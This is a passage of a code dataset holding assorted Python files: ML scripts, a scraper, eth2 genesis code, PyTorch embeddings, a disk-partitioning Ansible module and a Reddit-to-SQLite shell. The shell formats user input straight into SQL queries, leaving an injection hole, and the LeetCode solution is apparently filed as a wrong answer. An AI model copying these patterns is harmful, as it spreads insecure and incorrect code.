0',axis=1)\r\n\r\nX_train=X_train.drop('position',axis=1)\r\nX_test=X_test.drop('position',axis=1)\r\nX_test.shape\r\nX_train.shape\r\nlen(y_train)\r\n\r\nX_train=X_train.drop('date',1)\r\nX_test=X_test.drop('date',1)\r\nX_train=X_train.drop('birthday',1)\r\nX_test=X_test.drop('birthday',1)\r\nX_train=X_train.drop('player_name',1)\r\nX_test=X_test.drop('player_name',1)\r\nX_test=X_test.drop('player_api_id',1)\r\nX_train=X_train.drop('player_api_id',1)\r\nX_test=X_test.drop('player_fifa_api_id',1)\r\nX_train=X_train.drop('player_fifa_api_id',1)\r\nX_test=X_test.drop('potential',1)\r\nX_train=X_train.drop('potential',1)\r\n\r\n\r\nX_test=X_test.drop('defensive_work_rate',1)\r\nX_train=X_train.drop('defensive_work_rate',1)\r\nX_test=X_test.drop('attacking_work_rate',1)\r\nX_train=X_train.drop('attacking_work_rate',1)\r\nX_test=X_test.drop('preferred_foot',1)\r\nX_train=X_train.drop('preferred_foot',1)\r\n\r\nfrom sklearn.naive_bayes import GaussianNB\r\ngnb = GaussianNB()\r\nmodel= gnb.fit(X_train, y_train)\r\ny_pred = gnb.fit(X_train, y_train).predict(X_test)\r\ny_pred.dtype\r\nmodel.score(X_test,y_test)\r\nprint(\"Number of mislabeled points out of a total %d points : %d\"  % (X_test.shape[0],(y_test != y_pred).sum()))\r\nfrom Eval import Eval\r\neval1 = Eval(y_pred, np.array(y_test))\r\n\r\nprint(\"Positive Class:\")\r\nprint(\"Accuracy: \",eval1.Accuracy())\r\nfrom sklearn.metrics import recall_score,precision_score,accuracy_score\r\nprint(recall_score(y_test,y_pred,average=None))\r\nprint(precision_score(y_test,y_pred,average=None))\r\nprint(accuracy_score(y_test,y_pred))\r\n\r\nimport pickle\r\nfilename = 'finalized_model.sav'\r\npickle.dump(model, open(filename, 'wb'))\r\nloaded_model = pickle.load(open(filename, 'rb'))\r\nloaded_model.score(X_test,y_test)\r\n#X_test.to_csv('sample_players1.csv')\r\n#y_test.to_csv('pred.csv')\r\n#X_test.iloc[:,3:39].head(1)\r\n#loaded_model.theta_.shape\r\n#X_test.shape\r\n#y_test=pd.read_csv('C:\\\\Users\\\\jaide\\\\pred.csv',header=None)\r\n#X_test=pd.read_csv('C:\\\\Users\\\\jaide\\\\new_file.csv')\r\n#X_test=X_test.drop('Unnamed: 0',axis=1)\r\n#y_test.columns\r\n#len(y_test.reset_index(drop=True))\r\n#len(y_test)\r\n#loaded_model.score(X_test,y_test)\r\n#sample=pd.read_csv('C:\\\\Users\\\\jaide\\\\sample_players.csv')\r\n#sample.iloc[:,3:42]\r\n#loaded_model.predict(sample.iloc[:,3:42])\r\n\r\n#cols=['gk_diving', 'finishing','standing_tackle','sliding_tackle','interceptions','marking','volleys','weight','strength','jumping']\r\n\r\n#loaded_model.predict(sample.filter(items=cols))\r\n        \r\n","sub_path":"Naive Bayes and testing.py","file_name":"Naive Bayes and testing.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"288389736","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 30 14:00:13 2019\n\n@author: tanumalik\n\"\"\"\nimport pickle\nimport distribution\n\n######TM: initialize the buffer with -1 assuming no negative numbers\ndef zerolistmaker(n):\n    listofzeros = [-1] * n\n    return listofzeros\n\ndef evict_sort(filehandle,num_intervals_on_disk):\n    num_evicted = 0\n    window_start = 0\n    window_end = 0\n    \n    for i in xrange(0,buffer_size/window_size): # go over each window. 0,100\n        x = []\n        window_start = i*window_size\n        #window_start = i*buffer_size/window_size   # idx of start window\n        window_end = (i+1)*window_size -1\n        #window_end = (i+1)*buffer_size/window_size-1 #idx of end eindow\n        #print(window_start, window_end)\n        #print(window_start,window_end)\n        x.append(window_start)\n        x.append(window_end)\n        x.append(buffer_cache[window_start])\n        x.append(buffer_cache[window_end])\n        #print(x)\n        pickle.dump(x, filehandle)\n        num_intervals_on_disk = num_intervals_on_disk + 1\n        for i in xrange(window_start,window_end+1):\n            buffer_cache[i] = -1\n            num_evicted = num_evicted + 1\n        #print(x)\n    return num_evicted,num_intervals_on_disk\n\ndef fill_in_buffer(samples_ctr):\n    for i in xrange(0,buffer_size):\n        if (buffer_cache[i] == -1):\n           buffer_cache[i] = distribution.samples[samples_ctr]\n           samples_ctr += 1\n    buffer_cache.sort()\n    #print(buffer_cache)    \n    return samples_ctr\n\n\n\n#################################### Main Algorithm ##################################################\n#execfile(\"/Users/tanumalik/Dropbox/Work/ResearchProjects/Meshede/HPC-DB/PLI+/distribution.py\")\nfilehandle = open('sort-disk.txt', 'wb')\nevict_policy = 'sort'\nsamples_ctr = 0\nbuffer_size = 1000\nbuffer_cache = zerolistmaker(buffer_size)\nwindow_size = 10\nnum_intervals_on_disk = 0\nnum_intervals_in_mem = 0\n\nprint(distribution.sample_size)\nwhile (samples_ctr+buffer_size) <= distribution.sample_size:\n    samples_ctr = fill_in_buffer(samples_ctr) \n    print(\"Filled:\" + str(samples_ctr))\n    if (samples_ctr > 0):\n        to_fill,num_intervals_on_disk = evict_sort(filehandle,num_intervals_on_disk)      \n    else:\n            exit\n\nfilehandle.close()\nprint(\"Done!\")\n#print(bucket_intervals_on_disk)\n\nfilehandle = open('sort-mem.txt', 'wb')\n\nfor i in xrange(0,buffer_size/window_size):\n    x = []\n    window_start = i*window_size\n    #window_start = i*buffer_size/window_size   # idx of start window\n    window_end = (i+1)*window_size -1\n        \n    #window_start = i*buffer_size/window_size\n    #window_end = (i+1)*buffer_size/window_size-1\n    #print(window_start,window_end)\n    x.append(window_start)\n    x.append(window_end)\n    x.append(buffer_cache[window_start])\n    x.append(buffer_cache[window_end])\n    pickle.dump(x, filehandle)\n    num_intervals_in_mem += 1\nfilehandle.close()    \n\n\nprint(\"In mem: \" + str(num_intervals_in_mem) + \" On disk:\" + str(num_intervals_on_disk))\n#print(buffer_cache)","sub_path":"Simulation/Distribution/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"178825867","text":"class Solution:\n    def numDecodings(self, s: str) -> int:\n        if s == \"\" or int(s) == 0:\n            return 0\n        n = len(s)\n        count = [0]*(n+1)\n        count[0]=count[1] = 1\n        for i in range(2,n+1):\n            if int(s[i-1]) > 0:\n                count[i] = count[i-1]\n            if 0 < int(s[i-2]) < 3 and int(s[i-1]) < 7:\n                count[i] += count[i-2]\n        return count[n]\n","sub_path":"wrong_answer_codes/Decode_Ways/Decode Ways_283467845.py","file_name":"Decode Ways_283467845.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"593623686","text":"def vse_osebe(tviti):\n    osebe = vse_afne(tviti) + vsi_avtorji(tviti)\n    for element in osebe:\n        element = (izloci_besedo(element))\n    return sorted(unikati(osebe))\n\n\ndef vsi_hashtagi(tviti):\n    hashtagi = []\n    for tvit in tviti:\n        temp = se_zacne_z(tvit, \"#\")\n        for element in temp:\n            hashtagi.append(element)\n    return unikati(hashtagi)\n\n\ndef vse_afne(tviti):\n    afne = []\n    for tvit in tviti:\n        temp = se_zacne_z(tvit, \"@\")\n        for element in temp:\n            afne.append(element)\n    return unikati(afne)\n\n\ndef zberi_se_zacne_z(tviti, c):\n    izbrani = []\n    for tvit in tviti:\n        temp = se_zacne_z(tvit, c)\n        for element in temp:\n            izbrani.append(element)\n    return unikati(izbrani)\n\n\ndef se_zacne_z(tvit, c):\n    zacne = []\n    besede = tvit.split()\n    for element in besede:\n        if element.startswith(c):\n            zacne.append(izloci_besedo(element))\n    return zacne\n\n\ndef izloci_besedo(beseda):\n    return ''.join(ch for ch in beseda if ch.isalnum() or ch==\"-\")\n\n\ndef vsi_avtorji(tviti):\n    temp = []\n    for element in tviti:\n        temp.append(avtor(element))\n    avtorji = unikati(temp)\n    return avtorji\n\n\ndef avtor(tvit):\n    besede = tvit.split()\n    avtor = besede[0][:-1]\n    return avtor\n\n\ndef unikati(s):\n    unikat = []\n    for element in s:\n        if element not in unikat:\n            unikat.append(element)\n    return unikat\n\n\n","sub_path":"code/batch-1/vse-naloge-brez-testov/DN5-M-236.py","file_name":"DN5-M-236.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"375927354","text":"print (\"Problem 4: Create a to do application\")\r\nsample_list = {}\r\nprint (sample_list)\r\n\r\ndecision = int(input(\"Do you want to add an item to the list? Enter 1 for yes; 0 for no: \"))\r\ncounter = 1\r\nf = open(\"to_do_app.txt\", \"w\")\r\n\r\nwhile decision == 1:\r\n   f = open(\"to_do_app.txt\", \"a\")\r\n\r\n   item = input(\"Enter the item: \")\r\n   sample_list[counter] = item\r\n\r\n   f.write(\"item %d: %s \\n\" %(counter, item))\r\n   counter = counter +1\r\n\r\n   decision = int(input(\"Do you want to add another item to the list? Enter 1 for yes; 0 for no: \"))\r\n\r\nf.write(\"list: %s \\n\" %sample_list)\r\nf.close()\r\nprint (sample_list)\r\n\r\n","sub_path":"Projects/To_do.py","file_name":"To_do.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"298260783","text":"from bs4 import BeautifulSoup\nimport requests\n\n\nurl =\"https://www.displayspecifications.com/en\"\nurl2 =\"https://www.displayspecifications.com/en/brand/f652d\"\n\npage =requests.get(url2).content\n\nsoup = BeautifulSoup(page, 'lxml')\ndata = soup.find_all('div', {'class':'model-listing-container-80'})\np = []\nfor div in data:\n    p.extend([(x.get('href'),y['data-src']) for x in div.find_all('a') for y in div.find_all('img') ])\n    p.extend([(z.text, p.text) for z in div.find_all('h3') for p in div.find_all('p')])\n\nprint('*'*30)\n\nprint(p)\nprint(len(p))\n\n\n#\n# divs = soup.find_all('div', {'class':'article-listing-container'})\n# print(divs)\n# for div in divs:\n#     links = div.find_all('a', href=True)\n#     for link in links:\n#         print(link['href'])\n#     dates = div.find_all('p')\n#     for date in dates:\n#         print(date.text)\n#\n","sub_path":"scrapy_file/fiver_work.py","file_name":"fiver_work.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"96533165","text":"from typing import (\n    Sequence,\n    Type,\n)\n\nfrom eth_typing import (\n    Hash32,\n)\n\nimport ssz\n\nfrom eth2.beacon.deposit_helpers import (\n    process_deposit,\n)\nfrom eth2.beacon.helpers import (\n    get_active_validator_indices,\n)\n\nfrom eth2.beacon.types.blocks import (\n    BaseBeaconBlock,\n    BeaconBlockBody,\n)\nfrom eth2.beacon.types.block_headers import (\n    BeaconBlockHeader,\n)\nfrom eth2.beacon.types.deposits import Deposit\nfrom eth2.beacon.types.eth1_data import Eth1Data\nfrom eth2.beacon.types.states import BeaconState\nfrom eth2.beacon.typing import (\n    Timestamp,\n    ValidatorIndex,\n)\nfrom eth2.beacon.validator_status_helpers import (\n    activate_validator,\n)\nfrom eth2.configs import (\n    Eth2Config,\n)\n\n\ndef is_genesis_trigger(deposits: Sequence[Deposit], timestamp: int, config: Eth2Config) -> bool:\n    state = BeaconState(config=config)\n\n    for deposit in deposits:\n        state = process_deposit(state, deposit, config)\n\n    active_validator_count = 0\n    for validator in state.validators:\n        if validator.effective_balance == config.MAX_EFFECTIVE_BALANCE:\n            active_validator_count += 1\n\n    return active_validator_count == config.GENESIS_ACTIVE_VALIDATOR_COUNT\n\n\ndef genesis_state_with_active_index_roots(state: BeaconState, config: Eth2Config) -> BeaconState:\n    active_validator_indices = get_active_validator_indices(\n        state.validators,\n        config.GENESIS_EPOCH,\n    )\n    genesis_active_index_root = ssz.hash_tree_root(\n        active_validator_indices,\n        ssz.sedes.List(ssz.uint64),\n    )\n    active_index_roots = (\n        (genesis_active_index_root,) * config.EPOCHS_PER_HISTORICAL_VECTOR\n    )\n    return state.copy(\n        active_index_roots=active_index_roots,\n    )\n\n\ndef get_genesis_beacon_state(*,\n                             genesis_deposits: Sequence[Deposit],\n                             genesis_time: Timestamp,\n                             genesis_eth1_data: Eth1Data,\n                             config: Eth2Config) -> BeaconState:\n    state = BeaconState(\n        genesis_time=genesis_time,\n        eth1_data=genesis_eth1_data,\n        latest_block_header=BeaconBlockHeader(\n            body_root=BeaconBlockBody().root,\n        ),\n        config=config,\n    )\n\n    # Process genesis deposits\n    for deposit in genesis_deposits:\n        state = process_deposit(\n            state=state,\n            deposit=deposit,\n            config=config,\n        )\n\n    # Process genesis activations\n    for validator_index in range(len(state.validators)):\n        validator_index = ValidatorIndex(validator_index)\n        effective_balance = state.validators[validator_index].effective_balance\n        is_enough_effective_balance = effective_balance >= config.MAX_EFFECTIVE_BALANCE\n        if is_enough_effective_balance:\n            state = state.update_validator_with_fn(\n                validator_index,\n                activate_validator,\n                config.GENESIS_EPOCH,\n            )\n\n    return genesis_state_with_active_index_roots(\n        state,\n        config,\n    )\n\n\ndef get_genesis_block(genesis_state_root: Hash32,\n                      block_class: Type[BaseBeaconBlock]) -> BaseBeaconBlock:\n    return block_class(\n        state_root=genesis_state_root,\n    )\n","sub_path":"eth2/beacon/genesis.py","file_name":"genesis.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"458339509","text":"'''\nA module which implements various types of embeddings\n'''\nimport threading\n\nimport torch\nfrom torch import nn\n\nfrom torch.nn import functional as F\n\n\nclass TokenEmbedding(nn.Embedding):\n    ''' An embedding layer used for the transformer '''\n    def __init__(self, num_embeddings, embedding_dim, padding_idx=0):\n        super(TokenEmbedding, self).__init__(num_embeddings, embedding_dim, padding_idx=padding_idx)\n\n        self.scale = embedding_dim ** 0.5\n        nn.init.constant_(self.weight[padding_idx], 0)\n        nn.init.normal_(self.weight, mean=0, std=embedding_dim ** -0.5)\n\n    def forward(self, inputs, transpose=False): # pylint:disable=arguments-differ\n        ''' Implement the forward pass of the embedding '''\n        if transpose:\n            return F.linear(inputs, self.weight)\n        else:\n            return self.scale * super(TokenEmbedding, self).forward(inputs)\n\n    def _load_from_state_dict(self, state_dict, prefix, local_metadata, strict,\n                              missing_keys, unexpected_keys, error_msgs):\n        '''\n        Not sure if this is the best approach, but override the internal function to support loading\n        from a different sized vocabulary.\n        '''\n        if strict:\n            super(TokenEmbedding, self)._load_from_state_dict(\n                state_dict, prefix, local_metadata, strict,\n                missing_keys, unexpected_keys, error_msgs\n            )\n        else:\n            # Support loading from a different sized vocabulary\n            weight_name = prefix + 'weight'\n            for key, param in state_dict.items():\n                if key == weight_name:\n                    old_vocab_size = len(param)\n                    new_vocab_size = len(self.weight)\n                    vocab_size_diff = new_vocab_size - old_vocab_size\n                    if vocab_size_diff > 0:\n                        param = torch.cat((param, self.weight[old_vocab_size:]), 0)\n                    else:\n                        param = param[:new_vocab_size]\n\n                    self.weight.data.copy_(param)\n\n\nclass PositionEmbedding(nn.Module):\n    ''' Produce position embeddings '''\n    def __init__(self, dim, freq=1e4):\n        ''' Initialize the PositionEmbedding '''\n        super(PositionEmbedding, self).__init__()\n\n        self.dim = dim\n        self.freq = freq\n\n    _embeddings = threading.local()\n    def forward(self, inputs): # pylint:disable=arguments-differ\n        ''' Implement the forward pass of the embedding '''\n        device = inputs.device\n        max_length = inputs.shape[1]\n        embedding_store = PositionEmbedding._embeddings.__dict__\n        device_store = embedding_store.get(device, {})\n        if (\n                not device_store or\n                self.dim not in device_store or\n                device_store[self.dim].shape[0] < max_length\n        ):\n            positions = torch.arange(0., max_length, device=device).unsqueeze(1)\n\n            # the tensor2tensor code is slightly different than described in the paper\n            # dividing by (self.dim - 2) produces nearly identical results to their version\n            # when comparing the tensorflow results to these torch results\n            dims = torch.arange(0., self.dim, 2., device=device).unsqueeze(0) / (self.dim - 2)\n\n            sin = torch.sin(positions / torch.pow(self.freq, dims))\n            cos = torch.cos(positions / torch.pow(self.freq, dims))\n\n            embeddings = torch.stack((sin, cos), 0)\n            device_store[self.dim] = embeddings.transpose(0, 1).contiguous().view(-1, self.dim)\n\n        embeddings = device_store[self.dim]\n        embedding_store[device] = device_store\n        return embeddings[:max_length].unsqueeze(0)\n\n\nclass LearnedPositionalEmbedding(nn.Embedding):\n    \"\"\"\n    Code is adpated from FLOATER paper: https://github.com/xuanqing94/FLOATER\n    This module learns positional embeddings up to a fixed maximum size.\n    Padding ids are ignored by either offsetting based on padding_idx\n    or by setting padding_idx to None and ensuring that the appropriate\n    position ids are passed to the forward function.\n    \"\"\"\n\n    def __init__(\n            self,\n            num_embeddings: int,\n            embedding_dim: int,\n            padding_idx: int,\n    ):\n        if padding_idx is not None:\n            num_embeddings = num_embeddings + padding_idx + 1\n        super().__init__(num_embeddings, embedding_dim, padding_idx)\n        self.onnx_trace = False\n\n    def forward(self, input, incremental_state=None, positions=None):\n        \"\"\"Input is expected to be of size [bsz x seqlen].\"\"\"\n        assert (\n            (positions is None) or (self.padding_idx is None)\n        ), \"If positions is pre-computed then padding_idx should not be set.\"\n\n        if positions is None:\n            if incremental_state is not None:\n                # positions is the same for every token when decoding a single step\n                # Without the int() cast, it doesn't work in some cases when exporting to ONNX\n                positions = input.data.new(1, 1).fill_(int(self.padding_idx + input.size(1)))\n            else:\n                mask = input.ne(self.padding_idx).int()\n                positions = (torch.cumsum(mask, dim=1).type_as(mask) * mask).long() + self.padding_idx\n        return super().forward(positions)\n\n    def max_positions(self):\n        \"\"\"Maximum number of supported positions.\"\"\"\n        if self.padding_idx is not None:\n            return self.num_embeddings - self.padding_idx - 1\n        else:\n            return self.num_embeddings\n","sub_path":"models/embeddings.py","file_name":"embeddings.py","file_ext":"py","file_size_in_byte":5564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"67182860","text":"#!/usr/bin/python\r\n# coding: utf-8 -*-\r\n\r\nDOCUMENTATION = \"\"\"\r\n---\r\n\r\n\"\"\"\r\nEXAMPLES = \"\"\"\r\n- name: prepare disk\r\n  onest_prepare_disk:\r\n    devices: \"['/dev/sdb','/dev/sdc','/dev/sdd','/dev/sde']\"\r\n    devices_data_uuids: \"['8e94bcb0-ad75-11e6-a922-83e873da75e3', '8e964352-ad75-11e6-894e-83e873da75e3', '8e964354-ad75-11e6-89a1-83e873da75e3', '8e964356-ad75-11e6-b4aa-83e873da75e3']\"\r\n    devices_journal_uuids: \"['8e964351-ad75-11e6-8bce-83e873da75e3', '8e964353-ad75-11e6-b430-83e873da75e3', '8e964355-ad75-11e6-aed5-83e873da75e3', '8e964357-ad75-11e6-906b-83e873da75e3']\"\r\n\"\"\"\r\nfrom ansible.module_utils.basic import *\r\n\r\n\r\ndef main():\r\n    fields = {\r\n        \"devices\": {\"default\": [], \"type\": \"list\"},\r\n        \"devices_data_uuids\": {\"default\": [], \"type\": \"list\"},\r\n        \"devices_journal_uuids\": {\"default\": [], \"type\": \"list\"},\r\n    }\r\n    module = AnsibleModule(argument_spec=fields)\r\n    devices = module.params['devices']\r\n    devices_data_uuids = module.params['devices_data_uuids']\r\n    devices_journal_uuids = module.params['devices_journal_uuids']\r\n    changed = False\r\n    for i in range(0, len(devices)):\r\n        cmd = ['sgdisk', '--new=2:0:+100M', '--change-name=2:\"ceph journal\"',\r\n               '--partition-guid=2:' + str(devices_journal_uuids[i]),\r\n               '--typecode=2:45b0969e-9b03-4f30-b4c6-b4b80ceff106', '--mbrtogpt', '--', str(devices[i])]\r\n        rc, out, err = module.run_command(cmd, check_rc=True)\r\n        cmd = ['sgdisk', '--largest-new=1', '--change-name=1:\"ceph data\"',\r\n               '--partition-guid=1:' + str(devices_data_uuids[i]),\r\n               '--typecode=1:4fbd7e29-9d25-41b8-afd0-062c0ceff05d', '--mbrtogpt', '--', str(devices[i])]\r\n        rc, out, err = module.run_command(cmd, check_rc=True)\r\n        cmd = ['mkfs', '-t', 'xfs', '-f', '-i', 'size=2048', '--', str(devices[i]) + \"1\"]\r\n        rc, out, err = module.run_command(cmd, check_rc=True)\r\n\r\n    module.exit_json(changed=changed, meta=out)\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","sub_path":"library/onest_prepare_disk.py","file_name":"onest_prepare_disk.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"441276861","text":"from datetime import datetime as dt\nimport os\nimport sqlite3\nimport sys\n\nfrom dotenv import load_dotenv\nfrom praw import exceptions, Reddit\n\n\nclass SQLFuncs:\n    def __init__(self, sqlite_file):\n        \"\"\" Establish connection with Reddit API server and create comments\n        table if it does not already exist.\n        \"\"\"\n        print('Opening connection...')\n        basedir = os.path.abspath(os.path.dirname(__file__))\n        load_dotenv(os.path.join(basedir, '.env'))\n        self.db = sqlite3.connect(sqlite_file)\n        self.c = self.db.cursor()\n        self.c.execute(\"\"\"CREATE TABLE IF NOT EXISTS comments(\n                          id          TEXT PRIMARY KEY,\n                          create_date NUMERIC DEFAULT NULL,\n                          author      TEXT,\n                          flair       TEXT DEFAULT NULL,\n                          body        TEXT,\n                          score       INTEGER)\"\"\")\n        print('Authenticating...')\n        try:\n            self.reddit = Reddit(client_id=os.environ.get('client_id'),\n                                 client_secret=os.environ.get(\n                                 'client_secret'),\n                                 password=os.environ.get('password'),\n                                 user_agent=os.environ.get('user_agent'),\n                                 username=os.environ.get('username'))\n        except Exception as e:\n            print(f'Something went wrong during authentication:\\n{e}')\n        else:\n            print(f'Authenticated as {self.reddit.user.me()}!')\n\n    def countN(self, pattern):\n        \"\"\" Count occurrence of search phrase \"\"\"\n        try:\n            self.c.execute(\"\"\"SELECT COUNT(*) FROM comments\n                              WHERE body LIKE '%{}%'\"\"\".format(pattern))\n            print()\n            result = self.c.fetchall()\n            print(f'Term \"{pattern}\" returned {result[0][0]} results.')\n\n        except Exception as e:\n            self.db.rollback()\n            print('Oops, something went wrong:')\n            print(e)\n\n    def searchByPattern(self, pattern):\n        \"\"\" Searches for a pattern specified by the user that SQLite can\n        understand. \"\"\"\n        try:\n            self.c.execute(\"\"\"SELECT author, flair, body FROM comments\n                              WHERE body LIKE '{}'\"\"\".format(pattern))\n            results = self.c.fetchall()\n            if len(results) > 0:\n                print(f'\\n{len(results)} results matched your query:\\n')\n                for c, res in enumerate(results):\n                    print(f'[{c}]', f'{res[0]}' +\n                          ((f' ({res[1]})') if res[1] is not None else '') +\n                          f': {res[2]}\\n')\n\n            else:\n                print('No results matched your query.')\n\n        except Exception as e:\n            self.db.rollback()\n            print('Oops, something went wrong:')\n            print(e)\n\n    def storeComment(self, comment):\n        _id = comment.id\n        create_date = convertDT(comment.created_utc)\n        author = str(comment.author)\n        flair = comment.author_flair_text\n        body = comment.body\n        score = comment.score\n\n        self.c.execute(\"\"\"INSERT INTO comments (\n                          id, create_date, author,\n                          flair, body, score)\n                          VALUES (?, ?, ?, ?, ?, ?)\"\"\",\n                       (_id, create_date, author,\n                        flair, body, score))\n\n    def storeSubmission(self):\n        \"\"\" Stores a submission in the database. \"\"\"\n        submission = input('Paste in the URL of a submission: ')\n        print('Storing...')\n\n        try:\n            sub = self.reddit.submission(url=submission)\n            comments = sub.comments\n            commentsList = []\n            for comment in comments:\n                gatherSubComments(comment, commentsList)\n\n            for comment in commentsList:\n                self.storeComment(comment)\n\n        except exceptions.ClientException:\n            print('That URL appears to be invalid.')\n\n        except Exception as e:\n            self.db.rollback()\n            print(f'Oops, something went wrong:\\n{e}')\n        else:\n            self.db.commit()\n            print(\"Success!\")\n\n    def close(self):\n        \"\"\" Commit changes and close connection to database \"\"\"\n        print('Saving changes...')\n        self.db.commit()\n        print('Closing connection with database...')\n        self.db.close()\n\n\n# NOTE: This method will order search results accurately only down to the hour\ndef convertDT(timestamp):\n    \"\"\" Converts a timestamp to proper format for storage. \"\"\"\n    stamp = dt.fromtimestamp(timestamp)\n\n    if stamp.hour < 10:\n        return '{}-{}-{} 0{}:{}:{}'.format(stamp.year, stamp.month,\n                                           stamp.year, stamp.hour,\n                                           stamp.minute, stamp.second)\n    else:\n        return '{}-{}-{} {}:{}:{}'.format(stamp.year, stamp.month,\n                                          stamp.year, stamp.hour,\n                                          stamp.minute, stamp.second)\n\n\ndef gatherSubComments(comment, allComments):\n    allComments.append(comment)\n    if not hasattr(comment, 'replies'):\n        replies = comment.comments()\n\n    else:\n        replies = comment.replies\n\n    for child in replies:\n        gatherSubComments(child, allComments)\n\n\ndef shell():\n    try:\n        # Create a new database, use an existing one, or run in memory mode\n        sqlite_file = None\n        for i in range(len(sys.argv)):\n            if sys.argv[i] == '-db':\n                sqlite_file = sys.argv[i + 1]\n\n        if sqlite_file is None:\n            mode = input('Enter \"m\" to create a temporary in-memory database '\n                         'or enter the name of an existing sqlite database.\\n')\n            if mode.lower() == 'm':\n                sqlite_file = ':memory:'\n\n            elif mode == '':\n                sqlite_file = 'redditDB.sqlite'\n\n            else:\n                sqlite_file = mode\n\n        shell_session = SQLFuncs(sqlite_file)\n\n    except KeyboardInterrupt:\n        print('\\nBye.')\n\n    except Exception as e:\n        shell_session.db.rollback()\n        print('Oops, something went wrong:')\n        print(e)\n\n    else:\n        print('RCS'.center(43, '-'))\n        print('countN()    <- count occurrence of term',\n              'pattern()   <- search for a pattern',\n              'rawQuery()  <- enter your own query',\n              'store()     <- load a submission',\n              '--struct    <- show comment table structure',\n              '--dc        <- disconnect from database',\n              '-' * 43, sep='\\n')\n        while True:\n            command = input('> ')\n\n            # Count how many times a term appears in comment database\n            if command == 'countN()':\n                term = input('Enter a term to search for: ')\n                shell_session.countN(term)\n\n            # Search for a term or pattern in comments\n            elif command == 'pattern()':\n                search_pattern = input('Enter a term to search for: ')\n                shell_session.searchByPattern(search_pattern)\n\n            # Raw SQL query\n            elif command == 'rawQuery()':\n                query = input('Enter your full query:\\n')\n\n                try:\n                    shell_session.c.execute(query)\n                    results = shell_session.c.fetchall()\n\n                    if len(results) > 0:\n                        print()\n                        print(f'{len(results)} results matched your query:\\n')\n                        for c, result in enumerate(results):\n                            print(f'[{c}]', result)\n                            print()\n\n                    else:\n                        print('No results matched your query.')\n\n                except Exception as e:\n                    shell_session.db.rollback()\n                    print(e)\n\n            # Store comments by passing in a submission URL\n            elif command == 'store()':\n                shell_session.storeSubmission()\n\n            # View structure of comments table\n            elif command == '--struct':\n                print('comments'.center(30, '-'))\n                print(\"id           TEXT PRIMARY KEY\",\n                      \"create_date  NUMERIC\",\n                      \"author       TEXT\",\n                      \"flair        TEXT DEFAULT NULL\",\n                      \"body         TEXT\",\n                      \"score        INTEGER\",\n                      \"------------------------------\", sep='\\n')\n\n            # Disconnect\n            elif command == '--dc':\n                shell_session.close()\n                break\n\n\nif __name__ == '__main__':\n    shell()\n","sub_path":"shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":8766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"284956734","text":"import os\nimport sys\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = os.path.abspath(os.path.join(BASE_DIR,'../'))\n\n\nuser_action_path = os.path.join(ROOT_DIR,'data/wedata/wechat_algo_data2/user_action.csv')\nfeed_info_path = os.path.join(ROOT_DIR, 'data/wedata/wechat_algo_data2/feed_info.csv')\nfeed_embeddings_path = os.path.join(ROOT_DIR,'data/wedata/wechat_algo_data2/feed_embeddings.csv')\ntest_data_path = os.path.join(ROOT_DIR,'data/wedata/wechat_algo_data2/test_a.csv')\n\nfeed_info_frt_path = os.path.join(ROOT_DIR,'data/features/feed_info_frt.csv')\nfeed_embeddings_PCA_path = os.path.join(ROOT_DIR,'data/features/feed_embeddings_PCA.csv')\nfeed_info_manual_key_path = os.path.join(ROOT_DIR,'data/features/feed_info_manual_key.csv')\nfeed_info_manual_tag_path = os.path.join(ROOT_DIR,'data/features/feed_info_manual_key.csv')\nfeed_info_manual_tag_sta_path = os.path.join(ROOT_DIR,'data/features/feed_info_manual_tag_sta.csv')\n# model_root_path = 'train'\nsubmission_path = os.path.join(ROOT_DIR,'data/submission/result_lgb.csv')\n\nimport pandas as pd\nimport numpy as np\nfrom copy import deepcopy\nfrom gensim.models import word2vec\nfrom tqdm import tqdm\nfrom sklearn.metrics import roc_auc_score\nfrom lightgbm.sklearn import LGBMClassifier\nfrom catboost import CatBoostClassifier,Pool\nfrom collections import defaultdict\nimport gc\nimport time\ndef trans_tag_key_emb(data,emb_size):\n    def get_w2v(file,key):\n        a=\"\"\n        for line in file[key]:\n            line=str(line)\n            if line!=\"nan\":\n                for one in line.split(\";\"):\n                    a+=one+\" \"\n        with open(str(key)+\".txt\",\"w\") as f:\n            f.write(a)\n        sentences =word2vec.Text8Corpus(str(key)+\".txt\")  # 加载语料\n        model =word2vec.Word2Vec(sentences, vector_size=emb_size, hs=1, min_count=1, window=3)  #训练skip-gram模型，默认window=5\n        return model\n    def split_col(data, column):\n        data = deepcopy(data)\n        max_len = max(list(map(len, data[column].values)))  # 最大长度\n        new_col = data[column].apply(lambda x: x + [None]*(max_len - len(x)))  # 补空值，None可换成np.nan\n        new_col = np.array(new_col.tolist()).T  # 转置\n        for i, j in enumerate(new_col):\n            data[column + str(i)] = j\n        return data\n    def trans1(s):\n        s=str(s)\n        res=np.array([0. for i in range(emb_size)])\n        if s!=\"nan\":\n            for one in s.split(\";\"):\n                res+=np.array(model1.wv[one])\n        return list(res)\n    def trans2(s):\n        s=str(s)\n        